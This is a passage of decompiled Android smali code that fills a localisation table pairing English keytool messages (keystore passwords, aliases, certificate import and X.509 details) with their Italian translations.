                                                                              271aput-object v3, v2, v5
                                                                              272aput-object v2, v0, v1
                                                                              273const/16 v1, 0x1e
                                                                              274new-array v2, v6, [Ljava/lang/Object;
                                                                              276const-string v3, "Keystore file exists, but is empty: "
                                                                              277aput-object v3, v2, v4
                                                                              279const-string v3, "Il file keystore esiste ma \u00e8 vuoto: "
                                                                              280aput-object v3, v2, v5
                                                                              281aput-object v2, v0, v1
                                                                              282const/16 v1, 0x1f
                                                                              283new-array v2, v6, [Ljava/lang/Object;
                                                                              285const-string v3, "Keystore file does not exist: "
                                                                              286aput-object v3, v2, v4
                                                                              288const-string v3, "Il file keystore non esiste: "
                                                                              289aput-object v3, v2, v5
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x20
                                                                              292new-array v2, v6, [Ljava/lang/Object;
                                                                              294const-string v3, "Must specify destination alias"
                                                                              295aput-object v3, v2, v4
                                                                              297const-string v3, "\u00c8 necessario specificare l\'alias di destinazione"
                                                                              298aput-object v3, v2, v5
                                                                              299aput-object v2, v0, v1
                                                                              300const/16 v1, 0x21
                                                                              301new-array v2, v6, [Ljava/lang/Object;
                                                                              303const-string v3, "Must specify alias"
                                                                              304aput-object v3, v2, v4
                                                                              306const-string v3, "\u00c8 necessario specificare l\'alias"
                                                                              307aput-object v3, v2, v5
                                                                              308aput-object v2, v0, v1
                                                                              309const/16 v1, 0x22
                                                                              310new-array v2, v6, [Ljava/lang/Object;
                                                                              312const-string v3, "Keystore password must be at least 6 characters"
                                                                              313aput-object v3, v2, v4
                                                                              315const-string v3, "La password del keystore deve contenere almeno 6 caratteri"
                                                                              316aput-object v3, v2, v5
                                                                              317aput-object v2, v0, v1
                                                                              318const/16 v1, 0x23
                                                                              319new-array v2, v6, [Ljava/lang/Object;
                                                                              321const-string v3, "Enter keystore password: "
                                                                              322aput-object v3, v2, v4
                                                                              324const-string v3, "Immettere la password del keystore: "
                                                                              325aput-object v3, v2, v5
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x24
                                                                              328new-array v2, v6, [Ljava/lang/Object;
                                                                              330const-string v3, "Enter source keystore password: "
                                                                              331aput-object v3, v2, v4
                                                                              333const-string v3, "Immettere la password del keystore di origine: "
                                                                              334aput-object v3, v2, v5
                                                                              335aput-object v2, v0, v1
                                                                              336const/16 v1, 0x25
                                                                              337new-array v2, v6, [Ljava/lang/Object;
                                                                              339const-string v3, "Enter destination keystore password: "
                                                                              340aput-object v3, v2, v4
                                                                              342const-string v3, "Immettere la password del keystore di destinazione: "
                                                                              343aput-object v3, v2, v5
                                                                              344aput-object v2, v0, v1
                                                                              345const/16 v1, 0x26
                                                                              346new-array v2, v6, [Ljava/lang/Object;
                                                                              348const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              349aput-object v3, v2, v4
                                                                              351const-string v3, "La password del keystore \u00e8 troppo corta - deve contenere almeno 6 caratteri"
                                                                              352aput-object v3, v2, v5
                                                                              353aput-object v2, v0, v1
                                                                              354const/16 v1, 0x27
                                                                              355new-array v2, v6, [Ljava/lang/Object;
                                                                              357const-string v3, "Unknown Entry Type"
                                                                              358aput-object v3, v2, v4
                                                                              360const-string v3, "Tipo di voce sconosciuto"
                                                                              361aput-object v3, v2, v5
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x28
                                                                              364new-array v2, v6, [Ljava/lang/Object;
                                                                              366const-string v3, "Too many failures. Alias not changed"
                                                                              367aput-object v3, v2, v4
                                                                              369const-string v3, "Si sono verificati troppi errori. L\'alias non \u00e8 stato modificato."
                                                                              370aput-object v3, v2, v5
                                                                              371aput-object v2, v0, v1
                                                                              372const/16 v1, 0x29
                                                                              373new-array v2, v6, [Ljava/lang/Object;
                                                                              375const-string v3, "Entry for alias <alias> successfully imported."
                                                                              376aput-object v3, v2, v4
                                                                              378const-string v3, "La voce dell\'alias {0} \u00e8 stata importata."
                                                                              379aput-object v3, v2, v5
                                                                              380aput-object v2, v0, v1
                                                                              381const/16 v1, 0x2a
                                                                              382new-array v2, v6, [Ljava/lang/Object;
                                                                              384const-string v3, "Entry for alias <alias> not imported."
                                                                              385aput-object v3, v2, v4
                                                                              387const-string v3, "La voce dell\'alias {0} non \u00e8 stata importata."
                                                                              388aput-object v3, v2, v5
                                                                              389aput-object v2, v0, v1
                                                                              390const/16 v1, 0x2b
                                                                              391new-array v2, v6, [Ljava/lang/Object;
                                                                              393const-string v3, "Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported."
                                                                              394aput-object v3, v2, v4
                                                                              396const-string v3, "Si \u00e8 verificato un problema durante l\'importazione della voce dell\'alias {0}: {1}.\nLa voce dell\'alias {0} non \u00e8 stata importata."
                                                                              397aput-object v3, v2, v5
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x2c
                                                                              400new-array v2, v6, [Ljava/lang/Object;
                                                                              402const-string v3, "Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled"
                                                                              403aput-object v3, v2, v4
                                                                              405const-string v3, "Importazione completata: {0} voci importate, {1} voci non importate o annullate"
                                                                              406aput-object v3, v2, v5
                                                                              407aput-object v2, v0, v1
                                                                              408const/16 v1, 0x2d
                                                                              409new-array v2, v6, [Ljava/lang/Object;
                                                                              411const-string v3, "Warning: Overwriting existing alias <alias> in destination keystore"
                                                                              412aput-object v3, v2, v4
                                                                              414const-string v3, "Avviso: sovrascrittura in corso dell\'alias {0} nel file keystore di destinazione"
                                                                              415aput-object v3, v2, v5
                                                                              416aput-object v2, v0, v1
                                                                              417const/16 v1, 0x2e
                                                                              418new-array v2, v6, [Ljava/lang/Object;
                                                                              420const-string v3, "Existing entry alias <alias> exists, overwrite? [no]: "
                                                                              421aput-object v3, v2, v4
                                                                              423const-string v3, "La voce dell\'alias {0} esiste gi\u00e0. Sovrascrivere? [no]: "
                                                                              424aput-object v3, v2, v5
                                                                              425aput-object v2, v0, v1
                                                                              426const/16 v1, 0x2f
                                                                              427new-array v2, v6, [Ljava/lang/Object;
                                                                              429const-string v3, "Too many failures - try later"
                                                                              430aput-object v3, v2, v4
                                                                              432const-string v3, "Troppi errori - riprovare"
                                                                              433aput-object v3, v2, v5
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x30
                                                                              436new-array v2, v6, [Ljava/lang/Object;
                                                                              438const-string v3, "Certification request stored in file <filename>"
                                                                              439aput-object v3, v2, v4
                                                                              441const-string v3, "La richiesta di certificazione \u00e8 memorizzata nel file <{0}>"
                                                                              442aput-object v3, v2, v5
                                                                              443aput-object v2, v0, v1
                                                                              444const/16 v1, 0x31
                                                                              445new-array v2, v6, [Ljava/lang/Object;
                                                                              447const-string v3, "Submit this to your CA"
                                                                              448aput-object v3, v2, v4
                                                                              450const-string v3, "Inviarla alla propria CA"
                                                                              451aput-object v3, v2, v5
                                                                              452aput-object v2, v0, v1
                                                                              453const/16 v1, 0x32
                                                                              454new-array v2, v6, [Ljava/lang/Object;
                                                                              456const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              457aput-object v3, v2, v4
                                                                              459const-string v3, "Se l\'alias non \u00e8 specificato, destalias, srckeypass e destkeypass non dovranno essere specificati"
                                                                              460aput-object v3, v2, v5
                                                                              461aput-object v2, v0, v1
                                                                              462const/16 v1, 0x33
                                                                              463new-array v2, v6, [Ljava/lang/Object;
                                                                              465const-string v3, "Certificate stored in file <filename>"
                                                                              466aput-object v3, v2, v4
                                                                              468const-string v3, "Il certificato \u00e8 memorizzato nel file <{0}>"
                                                                              469aput-object v3, v2, v5
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x34
                                                                              472new-array v2, v6, [Ljava/lang/Object;
                                                                              474const-string v3, "Certificate reply was installed in keystore"
                                                                              475aput-object v3, v2, v4
                                                                              477const-string v3, "La risposta del certificato \u00e8 stata installata nel keystore"
                                                                              478aput-object v3, v2, v5
                                                                              479aput-object v2, v0, v1
                                                                              480const/16 v1, 0x35
                                                                              481new-array v2, v6, [Ljava/lang/Object;
                                                                              483const-string v3, "Certificate reply was not installed in keystore"
                                                                              484aput-object v3, v2, v4
                                                                              486const-string v3, "La risposta del certificato non \u00e8 stata installata nel keystore"
                                                                              487aput-object v3, v2, v5
                                                                              488aput-object v2, v0, v1
                                                                              489const/16 v1, 0x36
                                                                              490new-array v2, v6, [Ljava/lang/Object;
                                                                              492const-string v3, "Certificate was added to keystore"
                                                                              493aput-object v3, v2, v4
                                                                              495const-string v3, "Il certificato \u00e8 stato aggiunto al keystore"
                                                                              496aput-object v3, v2, v5
                                                                              497aput-object v2, v0, v1
                                                                              498const/16 v1, 0x37
                                                                              499new-array v2, v6, [Ljava/lang/Object;
                                                                              501const-string v3, "Certificate was not added to keystore"
                                                                              502aput-object v3, v2, v4
                                                                              504const-string v3, "Il certificato non \u00e8 stato aggiunto al keystore"
                                                                              505aput-object v3, v2, v5
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x38
                                                                              508new-array v2, v6, [Ljava/lang/Object;
                                                                              510const-string v3, "[Storing ksfname]"
                                                                              511aput-object v3, v2, v4
                                                                              513const-string v3, "[Memorizzazione di {0}] in corso"
                                                                              514aput-object v3, v2, v5
                                                                              515aput-object v2, v0, v1
                                                                              516const/16 v1, 0x39
                                                                              517new-array v2, v6, [Ljava/lang/Object;
                                                                              519const-string v3, "alias has no public key (certificate)"
                                                                              520aput-object v3, v2, v4
                                                                              522const-string v3, "{0} non dispone di chiave pubblica (certificato)"
                                                                              523aput-object v3, v2, v5
                                                                              524aput-object v2, v0, v1
                                                                              525const/16 v1, 0x3a
                                                                              526new-array v2, v6, [Ljava/lang/Object;
                                                                              528const-string v3, "Cannot derive signature algorithm"
                                                                              529aput-object v3, v2, v4
                                                                              531const-string v3, "Impossibile derivare l\'algoritmo di firma"
                                                                              532aput-object v3, v2, v5
                                                                              533aput-object v2, v0, v1
                                                                              534const/16 v1, 0x3b
                                                                              535new-array v2, v6, [Ljava/lang/Object;
                                                                              537const-string v3, "Alias <alias> does not exist"
                                                                              538aput-object v3, v2, v4
                                                                              540const-string v3, "L\'\'alias <{0}> non esiste"
                                                                              541aput-object v3, v2, v5
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x3c
                                                                              544new-array v2, v6, [Ljava/lang/Object;
                                                                              546const-string v3, "Alias <alias> has no certificate"
                                                                              547aput-object v3, v2, v4
                                                                              549const-string v3, "L\'\'alias <{0}> non dispone di certificato"
                                                                              550aput-object v3, v2, v5
                                                                              551aput-object v2, v0, v1
                                                                              552const/16 v1, 0x3d
                                                                              553new-array v2, v6, [Ljava/lang/Object;
                                                                              555const-string v3, "Key pair not generated, alias <alias> already exists"
                                                                              556aput-object v3, v2, v4
                                                                              558const-string v3, "Non \u00e8 stata generata la coppia di chiavi, l\'\'alias <{0}> \u00e8 gi\u00e0 esistente"
                                                                              559aput-object v3, v2, v5
                                                                              560aput-object v2, v0, v1
                                                                              561const/16 v1, 0x3e
                                                                              562new-array v2, v6, [Ljava/lang/Object;
                                                                              564const-string v3, "Cannot derive signature algorithm"
                                                                              565aput-object v3, v2, v4
                                                                              567const-string v3, "Impossibile derivare l\'algoritmo di firma"
                                                                              568aput-object v3, v2, v5
                                                                              569aput-object v2, v0, v1
                                                                              570const/16 v1, 0x3f
                                                                              571new-array v2, v6, [Ljava/lang/Object;
                                                                              573const-string v3, "Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name"
                                                                              574aput-object v3, v2, v4
                                                                              576const-string v3, "Generazione in corso di una coppia di chiavi {1} da {0} bit e di un certificato autofirmato ({2}) con una validit\u00e0 di {3} giorni\n\tper: {4}"
                                                                              577aput-object v3, v2, v5
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x40
                                                                              580new-array v2, v6, [Ljava/lang/Object;
                                                                              582const-string v3, "Enter key password for <alias>"
                                                                              583aput-object v3, v2, v4
                                                                              585const-string v3, "Immettere la password della chiave per <{0}>"
                                                                              586aput-object v3, v2, v5
                                                                              587aput-object v2, v0, v1
                                                                              588const/16 v1, 0x41
                                                                              589new-array v2, v6, [Ljava/lang/Object;
                                                                              591const-string v3, "\t(RETURN if same as keystore password): "
                                                                              592aput-object v3, v2, v4
                                                                              594const-string v3, "\t(INVIO se corrisponde alla password del keystore): "
                                                                              595aput-object v3, v2, v5
                                                                              596aput-object v2, v0, v1
                                                                              597const/16 v1, 0x42
                                                                              598new-array v2, v6, [Ljava/lang/Object;
                                                                              600const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              601aput-object v3, v2, v4
                                                                              603const-string v3, "La password della chiave \u00e8 troppo corta - deve contenere almeno 6 caratteri"
                                                                              604aput-object v3, v2, v5
                                                                              605aput-object v2, v0, v1
                                                                              606const/16 v1, 0x43
                                                                              607new-array v2, v6, [Ljava/lang/Object;
                                                                              609const-string v3, "Too many failures - key not added to keystore"
                                                                              610aput-object v3, v2, v4
                                                                              612const-string v3, "Troppi errori - la chiave non \u00e8 stata aggiunta al keystore"
                                                                              613aput-object v3, v2, v5
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x44
                                                                              616new-array v2, v6, [Ljava/lang/Object;
                                                                              618const-string v3, "Destination alias <dest> already exists"
                                                                              619aput-object v3, v2, v4
                                                                              621const-string v3, "L\'\'alias di destinazione <{0}> \u00e8 gi\u00e0 esistente"
                                                                              622aput-object v3, v2, v5
                                                                              623aput-object v2, v0, v1
                                                                              624const/16 v1, 0x45
                                                                              625new-array v2, v6, [Ljava/lang/Object;
                                                                              627const-string v3, "Password is too short - must be at least 6 characters"
                                                                              628aput-object v3, v2, v4
                                                                              630const-string v3, "La password \u00e8 troppo corta - deve contenere almeno 6 caratteri"
                                                                              631aput-object v3, v2, v5
                                                                              632aput-object v2, v0, v1
                                                                              633const/16 v1, 0x46
                                                                              634new-array v2, v6, [Ljava/lang/Object;
                                                                              636const-string v3, "Too many failures. Key entry not cloned"
                                                                              637aput-object v3, v2, v4
                                                                              639const-string v3, "Troppi errori. Il valore della chiave non \u00e8 stato clonato"
                                                                              640aput-object v3, v2, v5
                                                                              641aput-object v2, v0, v1
                                                                              642const/16 v1, 0x47
                                                                              643new-array v2, v6, [Ljava/lang/Object;
                                                                              645const-string v3, "key password for <alias>"
                                                                              646aput-object v3, v2, v4
                                                                              648const-string v3, "password della chiave per <{0}>"
                                                                              649aput-object v3, v2, v5
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0x48
                                                                              652new-array v2, v6, [Ljava/lang/Object;
                                                                              654const-string v3, "Keystore entry for <id.getName()> already exists"
                                                                              655aput-object v3, v2, v4
                                                                              657const-string v3, "L\'\'entry nel keystore per <{0}> \u00e8 gi\u00e0 esistente"
                                                                              658aput-object v3, v2, v5
                                                                              659aput-object v2, v0, v1
                                                                              660const/16 v1, 0x49
                                                                              661new-array v2, v6, [Ljava/lang/Object;
                                                                              663const-string v3, "Creating keystore entry for <id.getName()> ..."
                                                                              664aput-object v3, v2, v4
                                                                              666const-string v3, "Creazione dell\'\'entry nel keystore per <{0}> in corso..."
                                                                              667aput-object v3, v2, v5
                                                                              668aput-object v2, v0, v1
                                                                              669const/16 v1, 0x4a
                                                                              670new-array v2, v6, [Ljava/lang/Object;
                                                                              672const-string v3, "No entries from identity database added"
                                                                              673aput-object v3, v2, v4
                                                                              675const-string v3, "Nessuna entry aggiunta dal database di identit\u00e0"
                                                                              676aput-object v3, v2, v5
                                                                              677aput-object v2, v0, v1
                                                                              678const/16 v1, 0x4b
                                                                              679new-array v2, v6, [Ljava/lang/Object;
                                                                              681const-string v3, "Alias name: alias"
                                                                              682aput-object v3, v2, v4
                                                                              684const-string v3, "Nome alias: {0}"
                                                                              685aput-object v3, v2, v5
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0x4c
                                                                              688new-array v2, v6, [Ljava/lang/Object;
                                                                              690const-string v3, "Creation date: keyStore.getCreationDate(alias)"
                                                                              691aput-object v3, v2, v4
                                                                              693const-string v3, "Data di creazione: {0,date}"
                                                                              694aput-object v3, v2, v5
                                                                              695aput-object v2, v0, v1
                                                                              696const/16 v1, 0x4d
                                                                              697new-array v2, v6, [Ljava/lang/Object;
                                                                              699const-string v3, "alias, keyStore.getCreationDate(alias), "
                                                                              700aput-object v3, v2, v4
                                                                              702const-string v3, "{0}, {1,date}, "
                                                                              703aput-object v3, v2, v5
                                                                              704aput-object v2, v0, v1
                                                                              705const/16 v1, 0x4e
                                                                              706new-array v2, v6, [Ljava/lang/Object;
                                                                              708const-string v3, "alias, "
                                                                              709aput-object v3, v2, v4
                                                                              711const-string v3, "{0}, "
                                                                              712aput-object v3, v2, v5
                                                                              713aput-object v2, v0, v1
                                                                              714const/16 v1, 0x4f
                                                                              715new-array v2, v6, [Ljava/lang/Object;
                                                                              717const-string v3, "Entry type: <type>"
                                                                              718aput-object v3, v2, v4
                                                                              720const-string v3, "Tipo di voce: {0}"
                                                                              721aput-object v3, v2, v5
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0x50
                                                                              724new-array v2, v6, [Ljava/lang/Object;
                                                                              726const-string v3, "Certificate chain length: "
                                                                              727aput-object v3, v2, v4
                                                                              729const-string v3, "Lunghezza catena certificati: "
                                                                              730aput-object v3, v2, v5
                                                                              731aput-object v2, v0, v1
                                                                              732const/16 v1, 0x51
                                                                              733new-array v2, v6, [Ljava/lang/Object;
                                                                              735const-string v3, "Certificate[(i + 1)]:"
                                                                              736aput-object v3, v2, v4
                                                                              738const-string v3, "Certificato[{0,number,integer}]:"
                                                                              739aput-object v3, v2, v5
                                                                              740aput-object v2, v0, v1
                                                                              741const/16 v1, 0x52
                                                                              742new-array v2, v6, [Ljava/lang/Object;
                                                                              744const-string v3, "Certificate fingerprint (MD5): "
                                                                              745aput-object v3, v2, v4
                                                                              747const-string v3, "Impronta digitale certificato (MD5): "
                                                                              748aput-object v3, v2, v5
                                                                              749aput-object v2, v0, v1
                                                                              750const/16 v1, 0x53
                                                                              751new-array v2, v6, [Ljava/lang/Object;
                                                                              753const-string v3, "Entry type: trustedCertEntry\n"
                                                                              754aput-object v3, v2, v4
                                                                              756const-string v3, "Tipo entry: trustedCertEntry\n"
                                                                              757aput-object v3, v2, v5
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0x54
                                                                              760new-array v2, v6, [Ljava/lang/Object;
                                                                              762const-string v3, "trustedCertEntry,"
                                                                              763aput-object v3, v2, v4
                                                                              765const-string v3, "trustedCertEntry,"
                                                                              766aput-object v3, v2, v5
                                                                              767aput-object v2, v0, v1
                                                                              768const/16 v1, 0x55
                                                                              769new-array v2, v6, [Ljava/lang/Object;
                                                                              771const-string v3, "Keystore type: "
                                                                              772aput-object v3, v2, v4
                                                                              774const-string v3, "Tipo keystore: "
                                                                              775aput-object v3, v2, v5
                                                                              776aput-object v2, v0, v1
                                                                              777const/16 v1, 0x56
                                                                              778new-array v2, v6, [Ljava/lang/Object;
                                                                              780const-string v3, "Keystore provider: "
                                                                              781aput-object v3, v2, v4
                                                                              783const-string v3, "Provider keystore: "
                                                                              784aput-object v3, v2, v5
                                                                              785aput-object v2, v0, v1
                                                                              786const/16 v1, 0x57
                                                                              787new-array v2, v6, [Ljava/lang/Object;
                                                                              789const-string v3, "Your keystore contains keyStore.size() entry"
                                                                              790aput-object v3, v2, v4
                                                                              792const-string v3, "Il keystore contiene {0,number,integer} entry"
                                                                              793aput-object v3, v2, v5
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0x58
                                                                              796new-array v2, v6, [Ljava/lang/Object;
                                                                              798const-string v3, "Your keystore contains keyStore.size() entries"
                                                                              799aput-object v3, v2, v4
                                                                              801const-string v3, "Il keystore contiene {0,number,integer} entry"
                                                                              802aput-object v3, v2, v5
                                                                              803aput-object v2, v0, v1
                                                                              804const/16 v1, 0x59
                                                                              805new-array v2, v6, [Ljava/lang/Object;
                                                                              807const-string v3, "Failed to parse input"
                                                                              808aput-object v3, v2, v4
                                                                              810const-string v3, "Impossibile analizzare l\'input"
                                                                              811aput-object v3, v2, v5
                                                                              812aput-object v2, v0, v1
                                                                              813const/16 v1, 0x5a
                                                                              814new-array v2, v6, [Ljava/lang/Object;
                                                                              816const-string v3, "Empty input"
                                                                              817aput-object v3, v2, v4
                                                                              819const-string v3, "Input vuoto"
                                                                              820aput-object v3, v2, v5
                                                                              821aput-object v2, v0, v1
                                                                              822const/16 v1, 0x5b
                                                                              823new-array v2, v6, [Ljava/lang/Object;
                                                                              825const-string v3, "Not X.509 certificate"
                                                                              826aput-object v3, v2, v4
                                                                              828const-string v3, "Il certificato non \u00e8 X.509"
                                                                              829aput-object v3, v2, v5
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0x5c
                                                                              832new-array v2, v6, [Ljava/lang/Object;
                                                                              834const-string v3, "Cannot derive signature algorithm"
                                                                              835aput-object v3, v2, v4
                                                                              837const-string v3, "Impossibile derivare l\'algoritmo di firma"
                                                                              838aput-object v3, v2, v5
                                                                              839aput-object v2, v0, v1
                                                                              840const/16 v1, 0x5d
                                                                              841new-array v2, v6, [Ljava/lang/Object;
                                                                              843const-string v3, "alias has no public key"
                                                                              844aput-object v3, v2, v4
                                                                              846const-string v3, "{0} non dispone di chiave pubblica"
                                                                              847aput-object v3, v2, v5
                                                                              848aput-object v2, v0, v1
                                                                              849const/16 v1, 0x5e
                                                                              850new-array v2, v6, [Ljava/lang/Object;
                                                                              852const-string v3, "alias has no X.509 certificate"
                                                                              853aput-object v3, v2, v4
                                                                              855const-string v3, "{0} non dispone di certificato X.509"
                                                                              856aput-object v3, v2, v5
                                                                              857aput-object v2, v0, v1
                                                                              858const/16 v1, 0x5f
                                                                              859new-array v2, v6, [Ljava/lang/Object;
                                                                              861const-string v3, "New certificate (self-signed):"
                                                                              862aput-object v3, v2, v4
                                                                              864const-string v3, "Nuovo certificato (autofirmato):"
                                                                              865aput-object v3, v2, v5
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0x60
                                                                              868new-array v2, v6, [Ljava/lang/Object;
                                                                              870const-string v3, "Reply has no certificates"
                                                                              871aput-object v3, v2, v4
                                                                              873const-string v3, "La risposta non dispone di certificati"
                                                                              874aput-object v3, v2, v5
                                                                              875aput-object v2, v0, v1
                                                                              876const/16 v1, 0x61
                                                                              877new-array v2, v6, [Ljava/lang/Object;
                                                                              879const-string v3, "Certificate not imported, alias <alias> already exists"
                                                                              880aput-object v3, v2, v4
                                                                              882const-string v3, "Impossibile importare il certificato, l\'\'alias <{0}> \u00e8 gi\u00e0 esistente"
                                                                              883aput-object v3, v2, v5
                                                                              884aput-object v2, v0, v1
                                                                              885const/16 v1, 0x62
                                                                              886new-array v2, v6, [Ljava/lang/Object;
                                                                              888const-string v3, "Input not an X.509 certificate"
                                                                              889aput-object v3, v2, v4
                                                                              891const-string v3, "L\'input non \u00e8 un certificato X.509"
                                                                              892aput-object v3, v2, v5
                                                                              893aput-object v2, v0, v1
                                                                              894const/16 v1, 0x63
                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "Il certificato esiste gi\u00e0 nel keystore con alias <{0}>"
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "Aggiungerlo ugualmente? [no]: "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
                                                                              918const-string v3, "Il certificato esiste gi\u00e0 nel keystore CA con alias <{0}>"
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "Aggiungerlo al proprio keystore? [no]: "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "Considerare attendibile questo certificato? [no]: "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "S\u00ec"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "Nuova {0}: "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "Le password non devono coincidere"
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "Reimmettere nuova {0}: "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "Immettere nuovamente la nuova password: "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "Non corrispondono. Riprovare."
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "Immettere nome alias {0}: "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "Immettere un nuovo nome alias\t(premere INVIO per annullare l\'importazione della voce): "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "Immettere nome alias: "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t(INVIO se corrisponde al nome di <{0}>"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "Proprietario: {0}\nAutorit\u00e0 emittente: {1}\nNumero di serie: {2}\nValido da: {3} a: {4}\nImpronte digitali certificato:\n\t MD5: {5}\n\t SHA1: {6}\n\t Nome algoritmo firma: {7}\n\t Versione: {8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "Specificare nome e cognome"
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "Specificare il nome dell\'unit\u00e0 aziendale"
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "Specificare il nome dell\'azienda"
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "Specificare la localit\u00e0"
